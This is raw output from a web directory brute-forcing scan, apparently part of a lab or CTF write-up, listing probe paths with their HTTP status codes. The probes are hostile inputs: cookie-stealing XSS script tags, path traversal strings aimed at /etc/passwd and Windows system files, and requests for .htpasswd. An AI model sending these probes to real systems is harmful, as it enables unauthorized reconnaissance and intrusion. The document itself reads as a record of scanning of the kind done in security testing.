[2K/index.php?topic=&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt
;/script&amp;gt;%20.php (Status: 200) [Size: 245]
[2K/index.php?SqlQuery=test%20.html (Status: 200) [Size: 245]
[2K/index.php?topic=&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt
;/script&amp;gt;%20.txt (Status: 200) [Size: 245]
[2K/index.php?pymembs=admin.txt (Status: 200) [Size: 245]
[2K/index.php?SqlQuery=test%20 (Status: 200) [Size: 245]
[2K/index.php?pymembs=admin.html (Status: 200) [Size: 245]
[2K/index.php?tampon=test%20.html (Status: 200) [Size: 245]
[2K/index.php?pymembs=admin (Status: 200) [Size: 245]
[2K/index.php?IDAdmin=test.txt (Status: 200) [Size: 245]
[2K/index.php?topic=&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt
;/script&amp;gt;%20.html (Status: 200) [Size: 245]
[2K/index.php?SqlQuery=test%20.php (Status: 200) [Size: 245]
[2K/.htpasswd.php       (Status: 403) [Size: 274]
[2K/.htpasswd           (Status: 403) [Size: 274]
[2K/.htpasswd.txt       (Status: 403) [Size: 274]
[2K/.htpasswd.html      (Status: 403) [Size: 274]
[2K/.htaccess.php       (Status: 403) [Size: 274]
[2K/.htaccess           (Status: 403) [Size: 274]
[2K/.htaccess.txt       (Status: 403) [Size: 274]
[2K/.htaccess.html      (Status: 403) [Size: 274]
[2K///../../data/config/microsrv.cfg (Status: 400) [Size: 301]
[2K///../../data/config/microsrv.cfg.txt (Status: 400) [Size: 301]
[2K////////../../../../../etc/passwd.txt (Status: 400) [Size: 301]
```

```
 [2K///../../data/config/microsrv.cfg.html (Status: 400) [Size: 301]
 [2K////////../../../../../../etc/passwd.php (Status: 400) [Size: 301]
 [2K////////../../../../../../etc/passwd.html (Status: 400) [Size: 301]
 [2K///../../data/config/microsrv.cfg.php (Status: 400) [Size: 301]
 [2K////////../../../../../../etc/passwd (Status: 400) [Size: 301]
 [2K/.html                 (Status: 403) [Size: 274]
 [2K/.php                  (Status: 403) [Size: 274]
 [2K/icons/                (Status: 403) [Size: 274]
 [2K/icons/.html           (Status: 403) [Size: 274]
 [2K/icons/.php            (Status: 403) [Size: 274]
 [2K////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////
(Status: 200) [Size: 245]
 [2K////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////.html
(Status: 403) [Size: 274]
 [2K////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////.php
(Status: 403) [Size: 274]
 [2K/.php                  (Status: 403) [Size: 274]
 [2K/                      (Status: 200) [Size: 245]
 [2K/.html                 (Status: 403) [Size: 274]
 [2K/?pattern=/etc/*&sort=name.txt (Status: 200) [Size: 245]
 [2K/?pattern=/etc/*&sort=name (Status: 200) [Size: 245]
 [2K/?pattern=/etc/*&sort=name.php (Status: 200) [Size: 245]
 [2K/?pattern=/etc/*&sort=name.html (Status: 200) [Size: 245]
 [2K/?S=A                  (Status: 200) [Size: 245]
 [2K/?S=A.html             (Status: 200) [Size: 245]
 [2K/?S=A.txt              (Status: 200) [Size: 245]
 [2K/?M=A                  (Status: 200) [Size: 245]
 [2K/?D=A.html             (Status: 200) [Size: 245]
 [2K/?M=A.php              (Status: 200) [Size: 245]
 [2K/?M=A.txt              (Status: 200) [Size: 245]
 [2K/?N=D                  (Status: 200) [Size: 245]
 [2K/?D=A                  (Status: 200) [Size: 245]
 [2K/?D=A.php              (Status: 200) [Size: 245]
 [2K/?N=D.html             (Status: 200) [Size: 245]
 [2K/?D=A.txt              (Status: 200) [Size: 245]
 [2K/?N=D.php              (Status: 200) [Size: 245]
 [2K/?S=A.php              (Status: 200) [Size: 245]
 [2K/?N=D.txt              (Status: 200) [Size: 245]
 [2K/?M=A.html             (Status: 200) [Size: 245]
 [2K/cgi-
bin/../../../../../../../../../WINNT/system32/ipconfig.exe.txt
(Status: 400) [Size: 301]
 [2K/cgi-
bin/../../../../../../../../../WINNT/system32/ipconfig.exe.php
(Status: 400) [Size: 301]
 [2K/cgi-
bin/../../../../../../../../../WINNT/system32/ipconfig.exe.html
(Status: 400) [Size: 301]
```

```
   [2K/cgi-
bin/PRN/../../../../../../../../../WINNT/system32/ipconfig.exe.php
(Status: 400) [Size: 301]
   [2K/cgi-
bin/PRN/../../../../../../../../../WINNT/system32/ipconfig.exe.txt
(Status: 400) [Size: 301]
   [2K/cgi-
bin/PRN/../../../../../../../../../WINNT/system32/ipconfig.exe.html
(Status: 400) [Size: 301]
   [2K/cgi-bin/../../../../../../../../../WINNT/system32/ipconfig.exe
(Status: 400) [Size: 301]
   [2K/cgi-
bin/NUL/../../../../../../../../../WINNT/system32/ipconfig.exe.php
(Status: 400) [Size: 301]
   [2K/cgi-
bin/NUL/../../../../../../../../../WINNT/system32/ipconfig.exe.html
(Status: 400) [Size: 301]
   [2K/cgi-bin/NUL/../../../../../../../../../WINNT/system32/ipconfig.exe
(Status: 400) [Size: 301]
   [2K/cgi-
bin/NUL/../../../../../../../../../WINNT/system32/ipconfig.exe.txt
(Status: 400) [Size: 301]
   [2K/?\"><script>alert('Vulnerable');</script>.txt (Status: 200) [Size:
245]
   [2K/?\"><script>alert('Vulnerable');</script>.html (Status: 200) [Size:
245]
   [2K/?\"><script>alert('Vulnerable');</script> (Status: 200) [Size: 245]
   [2K/cgi-bin/PRN/../../../../../../../../../WINNT/system32/ipconfig.exe
(Status: 400) [Size: 301]
   [2K/?\"><script>alert('Vulnerable');</script>.php (Status: 200) [Size:
245]


===============================================================
Finished
===============================================================
```